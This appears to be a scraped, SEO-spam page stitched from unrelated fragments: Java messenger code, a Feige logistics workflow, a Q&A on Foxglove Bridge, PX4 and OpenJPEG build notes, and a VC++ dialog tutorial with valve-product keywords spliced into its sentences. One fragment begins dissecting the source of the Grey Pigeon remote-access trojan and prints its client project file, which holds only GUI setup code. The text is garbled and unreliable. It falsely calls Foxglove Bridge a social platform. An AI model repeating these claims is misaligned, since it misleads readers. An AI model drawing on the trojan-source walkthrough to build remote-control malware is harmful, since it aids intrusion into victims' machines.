getAllIPs(){String[] res=new String[500];int cnt=0;int size=getModel().getSize();for(int i=0;i<size;i++){UserItem item=(UserItem)getModel().getElementAt(i);res[cnt++]=item.getIPName();}return res;}//判断用户是否已在列表中public boolean exists(UserItem item){int size=getModel().getSize();for(int i=0;i<size;i++){UserItem items=(UserItem)getModel().getElementAt(i);if(items.getIPName().equals(item.getIPName()))return true;}return false;}public boolean existsIP(String ip){int size=getModel().getSize();for(int i=0;i<size;i++){UserItem items=(UserItem)getModel().getElementAt(i);if(items.getIPName().equals(ip))return true;}return false;}public void removeAllUser(){DefaultListModel mod = (DefaultListModel) getModel();mod.removeAllElements();addMe();}}class MyRenderer extends JPanel implements ListCellRenderer{JLabel l1=new JLabel(),l2=new JLabel(),l3=new JLabel(),l4=new JLabel();static Color listForeground,listBackground,listSelectionForeground,listSelectionBackground;static {UIDefaults uid = UIManager.getLookAndFeel().getDefaults();listForeground = uid.getColor ("List.foreground");listBackground = uid.getColor ("List.background");listSelectionForeground = uid.getColor ("List.selectionForeground");listSelectionBackground = uid.getColor ("List.selectionBackground");}public MyRenderer(){setOpaque(true);setLayout(new BorderLayout());l1.setOpaque(true);l2.setOpaque(true);l3.setOpaque(true);l4.setOpaque(true);l2.setForeground(Color.black);l3.setForeground(new Color(128,128,128));JPanel pane=new JPanel();pane.setLayout(new BorderLayout());pane.add(l2,BorderLayout.NORTH);pane.add(l3,BorderLayout.SOUTH);pane.add(l4,BorderLayout.CENTER);add(l1,BorderLayout.WEST);add(pane,BorderLayout.CENTER);}public Component getListCellRendererComponent(JList list,Object v,int index,boolean isSelected,boolean hasFocus){UserItem item=(UserItem)v;String img=item.getImgPath();String name=item.getComName();String ip=item.getIPName();ClassLoader load=getClass().getClassLoader();l1.setIcon(new ImageIcon(load.getResource(img)));l2.setText(name);l3.setText(ip);if(isSelected){setForeground(listSelectionForeground);setBackground(listSelectionBackground);l1.setBackground(listSelectionBackground);l2.setBackground(listSelectionBackground);l3.setBackground(listSelectionBackground);l4.setBackground(listSelectionBackground);}else{setForeground(listForeground);setBackground(listBackground);l1.setBackground(listBackground);l2.setBackground(listBackground);l3.setBackground(listBackground);l4.setBackground(listBackground);}return this;}}// LinkLabel.javapackage ponents;import javax.swing.*;import java.awt.event.*;import java.awt.*;import .*;public class LinkLabel extends JLabel {private String text, url;private boolean isSupported;public LinkLabel(String text, String url) {this.text = text;this.url = url;try {this.isSupported = Desktop.isDesktopSupported()&& Desktop.getDesktop().isSupported(Desktop.Action.BROWSE);}catch (Exception e) {this.isSupported = false;}setText(false);addMouseListener(new MouseAdapter(){public void mouseEntered(MouseEvent e) {setText(isSupported);if (isSupported)setCursor(new Cursor(Cursor.HAND_CURSOR));}public void mouseExited(MouseEvent e) {setText(false);}public void mouseClicked(MouseEvent e) {try {Desktop.getDesktop().browse(new URI(LinkLabel.this.url));}catch (Exception ex){}}});}private void setText(boolean b) {if (!b)setText("<html><font color=blue><u>" + text);elsesetText("<html><font color=red><u>" + text);}}// ChangeMyMsg.javapackage networker;import javax.swing.*;import java.awt.*;import java.awt.event.*;import networker.system.*;public class ChangeMyMsg extends JDialog implements ActionListener{ String imgpath=SystemInfo.getImagePath();ClassLoader load=getClass().getClassLoader();private JComboBox box = new JComboBox();private JTextField MyName = new JTextField(30);JLabel label1 = new JLabel("用户名:");JLabel label2 = new JLabel("头像:");JButton OkButton = new JButton("确定");JLabel label = new JLabel();int width=250;int height=150;MainFrame mf;public ChangeMyMsg(MainFrame mf) {super(mf,"更改信息",true);this.mf=mf;Dimension screen=Toolkit.getDefaultToolkit().getScreenSize();int w=screen.width;int h=screen.height;setBounds( (w-width)/2, (h-height)/2,width,height);setResizable(false);Container content=getContentPane();content.setLayout(null);label.setForeground(Color.red);label.setBounds(10, 90, 150, 25);label1.setBounds(15, 15, 60, 25);label2.setBounds(15, 60, 60, 25);MyName.setBounds(70, 13, 100, 30);OkButton.setBounds(175, 80, 60, 30);box.setBounds(70, 50, 100, 50);box.setRenderer(new MyRenderer());initCombo();content.add(OkButton);content.add(label1);content.add(label2);content.add(MyName);content.add(box);content.add(label);init();OkButton.addActionListener(this);addWindowListener(new WindowAdapter(){public void windowClosing(WindowEvent e){dispose();}});setVisible(true);}public void actionPerformed(ActionEvent e){String newName=MyName.getText();ImagePath l=(ImagePath)box.getSelectedItem();String path=l.path;if(newName==null||newName.trim().equals("")) label.setText("用户名不能为空!");else{SystemInfo.setImagePath(path);SystemInfo.setMyName(newName);mf.mmp.paintPane();mf.list.addMe();dispose();}}public void initCombo(){for(int i=1;i<26;i++){ImagePath path=new ImagePath("networker/UserPhotos/"+String.valueOf(i)+".gif");box.addItem(path);}box.setSelectedIndex(getIndex(imgpath));}private int getIndex(String m){for(int i=1;i<26;i++){ImagePath ip=(ImagePath)box.getItemAt(i);String str=ip.getPath();if(m.equals(str))return i;}return 1;}public void init(){String name=SystemInfo.getMyName();MyName.setText(name);String path=SystemInfo.getImagePath();ImagePath p=new ImagePath(path);box.setSelectedItem(p);}}// ImagePath.javapackage networker;public class ImagePath{String path;public ImagePath(String path){this.path=path;}public String getPath(){return path;}}// MainFrame.javapackage networker;import javax.swing.*;import java.awt.event.*;import java.awt.*;import .*;import java.io.*;import javax.swing.text.*;import com.jtattoo.plaf.aero.*;import com.jtattoo.plaf.hifi.*;import com.jtattoo.plaf.mcwin.*;import com.jtattoo.plaf.mint.*;import networker.panels.*;import networker.directorychooser.DirectoryChooser;import ponents.*;import networker.system.*;import networker.taskbardialog.DefaultSavaPath;import networker.panels.filepane.*;import networker.about.*;public class MainFrame extends JFrame implements ActionListener,ItemListener{ClassLoader load=getClass().getClassLoader();String Name,IP;//菜单栏JMenuBar MBar=new JMenuBar();JMenu FileMenu=new JMenu("文件"),SetMenu=new JMenu("设置"),SkinMenu=new JMenu("皮肤"),HelpMenu=new JMenu("帮助");JMenuItem[] items={ new JMenuItem("传送文件"),new JMenuItem("传送文件夹"),new JMenuItem("隐藏窗口"),new JMenuItem("退出程序"),new JMenuItem("扫描用户"),new JMenuItem("更改信息"),new JMenuItem("添加好友"),new JMenuItem("帮助"),new JMenuItem("关于此软件"),new JMenuItem("设置默认存取目录"),new JMenuItem("Java相关网站")};JRadioButtonMenuItem[] skinitems={ new JRadioButtonMenuItem("蓝色主题"), new JRadioButtonMenuItem("黑色主题"),new JRadioButtonMenuItem("苹果主题"),new JRadioButtonMenuItem("绿色主题") };。
飞鸽系统任务单处理流程

飞鸽系统任务单处理流程## English Answer:Flow of Processing a Job Sheet Request in the Feige System.1. Receipt of Job Sheet Request: The job sheet request is received either directly from the customer or through an intermediary, such as a carrier or agent.2. Verification of Request: The request is checked for completeness and accuracy. Any missing or incomplete information is requested from the customer or the intermediary.3. Assignment of Job Number: A unique job number is assigned to the request, which is used to track the progress of the job throughout the system.4. Acceptance of Job: Once the request is verified anda job number is assigned, the job is accepted into the system.5. Route Planning: The route for the shipment is planned based on the customer's requirements and the availability of transportation resources.6. Booking of Transportation: Transportation is booked with the appropriate carrier, either directly or through a freight broker.7. Loading and Shipping: The goods are loaded onto the chosen carrier and shipped to the customer's destination.8. Delivery: The goods are delivered to the customer at the agreed-upon time and location.9. Documentation: Proof of delivery (POD) and other necessary documentation are obtained and processed.10. Billing and Payment: The customer is billed for the services rendered, and payment is processed.11. Closing of Job: Once the job is completed and payment is received, the job is closed within the system.Additional Information:The Feige System is a system used by companies to manage the movement of their freight shipments.Job sheet requests can be submitted online, via email, or by phone.The Feige System is integrated with various transportation providers to provide seamless and efficient shipping.The system allows customers to track the progress of their shipments in real-time.## 中文回答:飞鸽系统任务单处理流程。
foxglove bridge编译 -回复

foxglove bridge编译 -回复什么是Foxglove Bridge?Foxglove Bridge是一个在线社交平台,旨在为用户提供一个安全、私密的环境,使其可以与亲友、同事和志同道合的人进行交流和互动。
这个平台基于最新的网络技术和现代化的隐私保护措施,用户可以在这里发布状态更新、照片和视频,与其他用户建立联系并分享生活中的点滴。
怎样注册Foxglove Bridge账户?要注册一个Foxglove Bridge账户,您需要执行以下简单的步骤:1. 打开Foxglove Bridge的官方网站或下载其手机应用。
2. 点击“注册”按钮,它通常位于主页的右上角。
3. 输入您的个人信息,如姓名、生日、性别和电子邮件地址。
您可能会被要求创建一个用户名和密码。
4. 阅读并同意Foxglove Bridge的使用条款和隐私政策。
5. 点击“注册”按钮完成注册过程。
怎样使用Foxglove Bridge?使用Foxglove Bridge非常简单。
一旦您注册并登录了您的账户,您可以根据以下指南使用它:1. 更新状态:在首页或个人资料页面上,您可以发布自己的状态更新。
您可以分享您的近况、想法或感受。
2. 添加朋友:通过输入他们的用户名、电子邮件地址或姓名,您可以查找并添加朋友。
一旦他们接受了您的请求,您就可以与他们进行私密的聊天和互动。
3. 点赞和评论:在查看其他用户的状态或发布下,您可以给它们点赞或发表评论。
这可以增进互动和交流。
4. 分享照片和视频:在Foxglove Bridge 上您可以上传和分享您的照片和视频。
这样您可以将特殊的时刻与朋友和家人共享,而不用担心隐私问题。
5. 创建群组:如果您有共同的兴趣爱好或想创建一个特定主题的讨论圈子,您可以创建一个群组并邀请其他用户加入。
为什么Foxglove Bridge比其他社交平台更安全?F o x g l o v e B r i d g e注重用户的隐私和安全。
一起解剖灰鸽子VIP1.2源码

⼀起解剖灰鸽⼦VIP1.2源码从⼯程⽂件开始分析:program H_Client;usesForms,windows,messages,Classes,Main in 'Main.pas' {HgzVip},AboutUnit in 'AboutUnit.pas' {AboutForm},UpIp in 'UpIp.pas' {UpIpDate},SysInf in 'SysInf.pas' {SysShezhi},ShowPic in 'ShowPic.pas' {ShowPm},Scanover in 'Scanover.pas' {Sjiegou},Splash in 'Splash.pas' {启动时的logo窗⼝},RegEditUnit in 'RegEditUnit.pas' {RegEdit},RegHexEdit in 'RegHexEdit.pas' {RegHex},ConfigServerUnit in 'ConfigServerUnit.pas' {ConfigServer},NewxpSer in 'NewxpSer.pas' {NewxpServer},FtpUpUnit1 in 'FtpUpUnit1.pas' {FtpUp},FtpDownUnit in 'FtpDownUnit.pas' {FTPDown},ExeToolUnit in 'ExeToolUnit.pas' {ExeToolForm},IconLibrary in 'icotool\IconLibrary.pas',IconTools in 'icotool\IconTools.pas',IconTypes in 'icotool\Icontypes.pas',unitExIcon in 'icotool\unitExIcon.pas',unitPEFile in 'icotool\unitPEFile.pas',unitResourceDetails in 'icotool\unitResourceDetails.pas',unitResourceGraphics in 'icotool\unitResourceGraphics.pas',BmpToAviUnit in 'BmpToAviUnit.pas' {BmpToAviForm},FTPServerUnit in 'FTPServerUnit.pas' {FTPServerForm},DESCrypt in 'DESCrypt.pas',LangFrm in 'Langmgr\LangFrm.pas',LangMgr in 'Langmgr\LangMgr.pas',LangObj in 'Langmgr\LangObj.pas';{$R *.RES}varI:integer;beginApplication.Initialize;SplashForm:=TSplashForm.Create(Application);SplashForm.Show;ShowWindow(Application.Handle, SW_HIDE); //隐藏窗体SplashForm.Update;Application.Title := '⼩乐修改版 Vip 1.2';SplashForm.Gauge1.Progress:=5;SplashForm.Update;Application.CreateForm(THgzVip, HgzVip);SplashForm.Gauge1.Progress:=25;SplashForm.Update;Application.CreateForm(TConfigServer, ConfigServer);SplashForm.Gauge1.Progress:=30;SplashForm.Update;Application.CreateForm(TNewxpServer, NewxpServer);SplashForm.Gauge1.Progress:=40;SplashForm.Update;Application.CreateForm(TFtpUp, FtpUp);SplashForm.Gauge1.Progress:=50;SplashForm.Update;Application.CreateForm(TFTPDown, FTPDown);SplashForm.Gauge1.Progress:=60;SplashForm.Update;Application.CreateForm(TExeToolForm, ExeToolForm);SplashForm.Gauge1.Progress:=70;SplashForm.Update;Application.CreateForm(TBmpToAviForm, BmpToAviForm);Application.CreateForm(TFTPServerForm, FTPServerForm);SplashForm.Gauge1.Progress:=80;//'加载登陆窗⼝...';SplashForm.Update;Application.CreateForm(TShowPm, ShowPm);Application.CreateForm(TSjiegou, Sjiegou);Application.CreateForm(TUpIpDate, UpIpDate);Application.CreateForm(TSysShezhi, SysShezhi);SplashForm.Gauge1.Progress:=95;//'加载登陆窗⼝...';SplashForm.Update;Application.CreateForm(TRegEdit, RegEdit);Application.CreateForm(TRegHex, RegHex);SplashForm.Gauge1.Progress:=100;//'加载登陆窗⼝...';SplashForm.Update;Application.ProcessMessages;HgzVip.NoisReg:=Tr;SplashForm.Free;//Application.ShowMainForm :=tr;Application.Run;end.⼀看就明⽩了,USES这⼀块,引⽤了很多源码(.pas)有的是窗体的有的没有窗体的,然后beigin到end中间的内容就创建logo窗⼝,就是运⾏鸽⼦的时候那个显⽰版本的界⾯,什么版权所有葛军之类的内容的那个界⾯。
px4代码编译

px4代码编译PX4代码编译PX4是一款开源的自动驾驶飞控软件,具有高可靠性、高可扩展性和高自由度等特点。
为了让PX4系统更加适应不同飞行器平台的需求,我们需要对PX4的代码进行编译。
下面,我们将按照不同的类别讲解PX4代码编译流程。
一、环境搭建在编译PX4代码之前,我们需要先搭建好编译环境。
由于PX4是基于ROS和NuttX的开源项目,因此我们需要安装好ROS和NuttX的相关软件包。
同时,在编译PX4代码之前,我们还需要安装好Git和CMake等编译工具。
二、PX4代码的下载在搭建好编译环境之后,我们需要下载PX4的代码。
PX4的代码托管在GitHub上,我们可以在GitHub上搜索PX4项目,并将其克隆到本地。
三、代码编译在将PX4代码克隆到本地之后,我们就可以开始对其进行编译。
PX4的代码编译过程相对来说比较复杂,因为涉及到多个子模块的编译。
下面,我们将按照不同的类别讲解PX4代码的编译流程。
1. Flight Stack编译Flight Stack是PX4的核心代码,负责飞行控制和导航等功能。
在编译Flight Stack时,我们需要在PX4目录下运行make posix_sitl_default命令,该命令会编译Flight Stack和NuttX等代码,并生成二进制文件。
2. MAVSDK编译MAVSDK是一个用于iOS、Android和Linux平台的轻量级开源库,用于与PX4系统进行通信。
在编译MAVSDK时,我们需要运行make命令,该命令会编译MAVSDK并生成库文件。
3. MAVLink编译MAVLink是一种轻量级的通信协议,用于飞行控制器和计算机之间的通信。
在编译MAVLink时,我们需要在PX4目录下运行make mavlink 命令,该命令会编译MAVLink并生成头文件和协议库文件。
四、总结PX4代码编译是一项比较复杂的任务,需要我们熟练掌握ROS、NuttX、Git和CMake等工具的使用。
openjpeg源码编译

openjpeg源码编译编译OpenJPEG源码涉及几个步骤。
下面是一个通用的步骤,具体的细节可能因不同的操作系统和构建工具而异。
1. 获取OpenJPEG源码:2. 安装构建工具:-确保你的系统上安装了合适的构建工具,比如CMake和Make。
3. 使用CMake配置构建:-在OpenJPEG源码目录下,创建一个构建目录,例如:```bashmkdir buildcd build```-运行CMake来配置构建:```bashcmake ..```这将生成用于你系统的构建文件。
4. 构建项目:-使用你的构建工具构建项目,通常是运行`make`或`cmake --build .`。
```bashmake```或者```bashcmake --build .```5. 安装OpenJPEG:-在构建完成后,你可以选择将OpenJPEG安装到系统中。
这通常通过以下命令完成:```bashsudo make install```注意:如果你不想安装到系统目录,可以跳过这一步。
6. 测试:-在构建后,你可以运行一些测试来确保OpenJPEG正常工作。
这通常包括运行构建目录中的测试二进制文件。
以上步骤是通用的,但具体的步骤可能因操作系统、构建工具和OpenJPEG版本而异。
在构建过程中,可能会遇到一些依赖项未安装的问题,你需要根据错误信息来解决这些问题。
请注意,这是一个简化的说明,具体情况可能因你的操作系统和环境而异。
在进行构建之前,强烈建议查阅OpenJPEG的官方文档以获取更详细的信息。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
飞鸽源代码Visual C++以其可视化的编程风格成为目前Windows程序设计与开发的主流开发工具。
而对话框在Visual C++编程中使用的尤其多。
诸如模式对话框、无模式对话框、基于对话框的应用程序等。
绝大部分的VC++的书籍中都花费大量的篇幅与笔墨来讲解对话框,这充分证明了对话框在Windows应用程序中的作用。
很多人可能都用过Bitware软件,不知大家还记不记得其界面对话框就可以伸展自如。
按下一个按钮,对话框就向水平方向或垂直方向扩展。
再按一下按钮,对话框又回复到原来的大小。
其实这并不是一个很复杂的问题,下面我们就来讲解如何电动调节阀制作伸展自如的对话框。
1 打开VisualC++工作台,新建工程设为aaa。
2 创建基于对话框的应用程序如下所示:其余选择皆为缺省即可。
3 在对话框资源中增加控件资源,如下图所示:其中,最靠右边的一排控件和最靠近下面的两排控件将在对话框伸展或收缩时显示出来或被遮盖。
并且为了示例方便,我们有意调节阀将他们的值对应起来。
并且我们气动调节阀需要通过ClassWizard给每个控件分别关联成员变量,如下所示:参考DoDataExchange()函数我们就可以知道每个控件所关联的变量了,如下所示:DDX_Text(pDX, IDC_HEIGHT, m_wHeight);DDX_Text(pDX, IDC_STREAM_ID, m_wStreamID);DDX_Text(pDX, IDC_WIDTH, m_wWidth);DDX_Text(pDX, IDC_SEQUENCE_ORDER, m_wSequenceOrder);DDX_Text(pDX, IDC_MAX_RA TE, m_dwMaxRate);DDX_Text(pDX, IDC_MIN_RATE, m_dwMinRate);DDX_Text(pDX, IDC_HEIGHT2, m_wHeight2);DDX_Text(pDX, IDC_MAX_RA TE2, m_dwMaxRate2);DDX_Text(pDX, IDC_MIN_RATE2, m_dwMinRate2);DDX_Text(pDX, IDC_SEQUENCE_ORDER2, m_wSequenceOrder2);DDX_Text(pDX, IDC_STREAM_ID2, m_wStreamID2);DDX_Text(pDX, IDC_WIDTH2, m_wWidth2);DDX_Check(pDX, IDC_HORIZONTAL, m_bHorizontal);DDX_Check(pDX, IDC_VERTICAL, m_bVertical);实际上,我们也可以不用ClassWizard而直接将上面的一段代码copy到DoDataExchange()函数的//{{AFX_DATA_MAP(CAaaDlg)......//}}AFX_DATA_MAP之间,(注意一定要在“//{{AFX_DATA_MAP(CAaaDlg)”与“//}}AFX_DATA_MAP”之间)。
同时在aaaDlg.h文件中,在//{{AFX_DATA(CAaaDlg)enum { IDD = IDD_AAA_DIALOG };......//}}AFX_DATA之间增加如下变量定义即可:(注意一定要在“//{{AFX_DATA(CAaaDlg)”与“//}}AFX_DATA”之间)UINT m_wHeight;UINT m_wStreamID;UINT m_wWidth;UINT m_wSequenceOrder;DWORD m_dwMaxRate;DWORD m_dwMinRate;UINT m_wHeight2;DWORD m_dwMaxRate2;DWORD m_dwMinRate2;UINT m_wSequenceOrder2;UINT m_wStreamID2;UINT m_wWidth2;BOOL m_bHorizontal;BOOL m_bVertical;5 在完成上面的步骤后,我们就可以定义几个新的变量用来保存窗口伸展状态时的信息以及收缩状态时的信息。
如下:WORD m_wOrigrinWidth; //原始状态下的窗口宽度WORD m_wReducedWidth; //收缩状态下的窗口宽度WORD m_wOrigrinHeight; //原始状态下的窗口高度WORD m_wReducedHeight; //收缩状态下的窗口高度WORD m_screenWidth; //屏幕宽度WORD m_screenHeight; //屏幕高度在完成以上所有的步骤后,就可以对窗口的伸展与收缩进行随心所欲的控制了,电动球阀首先我们来侃侃具体的代码,下面再进行具体的解释。
代码为:CenterWindow(NULL);m_screenWidth = GetSystemMetrics(SM_CXSCREEN);m_screenHeight = GetSystemMetrics(SM_CYSCREEN);WINDOWPLACEMENT* lpwndpl=new WINDOWPLACEMENT; GetWindowPlacement(lpwndpl);m_wOrigrinWidth = lpwndpl->rcNormalPosition.right;m_wOrigrinWidth -= lpwndpl->rcNormalPosition.left;m_wOrigrinHeight = lpwndpl->rcNormalPosition.bottom;m_wOrigrinHeight -= lpwndpl->rcNormalPosition.top;LPRECT lpRect1,lpRect2;lpRect1=new RECT;lpRect2=new RECT;GetDlgItem(IDC_PROGRESS_BAR)->GetWindowRect(lpRect1); GetDlgItem(IDC_STREAM_ID)->GetWindowRect(lpRect2);lpwndpl->rcNormalPosition.right=(lpRect1->right+lpRect2->left)/2;m_wReducedWidth = lpwndpl->rcNormalPosition.right;m_wReducedWidth -= lpwndpl->rcNormalPosition.left;GetDlgItem(IDC_PROGRESS_BAR)->GetWindowRect(lpRect1); GetDlgItem(IDC_SEQUENCE_ORDER2)->GetWindowRect(lpRect2); lpwndpl->rcNormalPosition.bottom=(lpRect1->bottom+lpRect2->top)/2; m_wReducedHeight = lpwndpl->rcNormalPosition.bottom;m_wReducedHeight -= lpwndpl->rcNormalPosition.top;delete lpRect1;delete lpRect2;if(m_bHorizontal == TRUE){lpwndpl->rcNormalPosition.right = lpwndpl->rcNormalPosition.left; lpwndpl->rcNormalPosition.right += m_wOrigrinWidth;lpwndpl->rcNormalPosition.bottom = lpwndpl->rcNormalPosition.top; lpwndpl->rcNormalPosition.bottom += m_wReducedHeight;}else{lpwndpl->rcNormalPosition.right = lpwndpl->rcNormalPosition.left; lpwndpl->rcNormalPosition.right += m_wReducedWidth;lpwndpl->rcNormalPosition.bottom = lpwndpl->rcNormalPosition.top; lpwndpl->rcNormalPosition.bottom += m_wReducedHeight;}if(m_bVertical == TRUE){lpwndpl->rcNormalPosition.right = lpwndpl->rcNormalPosition.left; lpwndpl->rcNormalPosition.right += m_wReducedWidth;lpwndpl->rcNormalPosition.bottom = lpwndpl->rcNormalPosition.top;lpwndpl->rcNormalPosition.bottom += m_wOrigrinHeight;}else{lpwndpl->rcNormalPosition.right = lpwndpl->rcNormalPosition.left;lpwndpl->rcNormalPosition.right += m_wReducedWidth;lpwndpl->rcNormalPosition.bottom = lpwndpl->rcNormalPosition.top;lpwndpl->rcNormalPosition.bottom += m_wReducedHeight;}SetWindowPlacement(lpwndpl);上面这段代码首先将窗口置于屏幕中间,这可以通过函数CenterWindow (GetDesktopWindow()) 来实现,函数CenterWindow()的用法为:void CenterWindow( CWnd* pAlternateOwner = NULL );其中参数pAlternateOwner指向所想居中的窗口的指针。
然电动蝶阀后利用函数GetSystemMetrics( int nIndex )得到系统当前设置如屏幕分辨率等。
nIndexs= SM_CXSCREEN 时函数返回屏幕的宽度;返回值单位为像素点。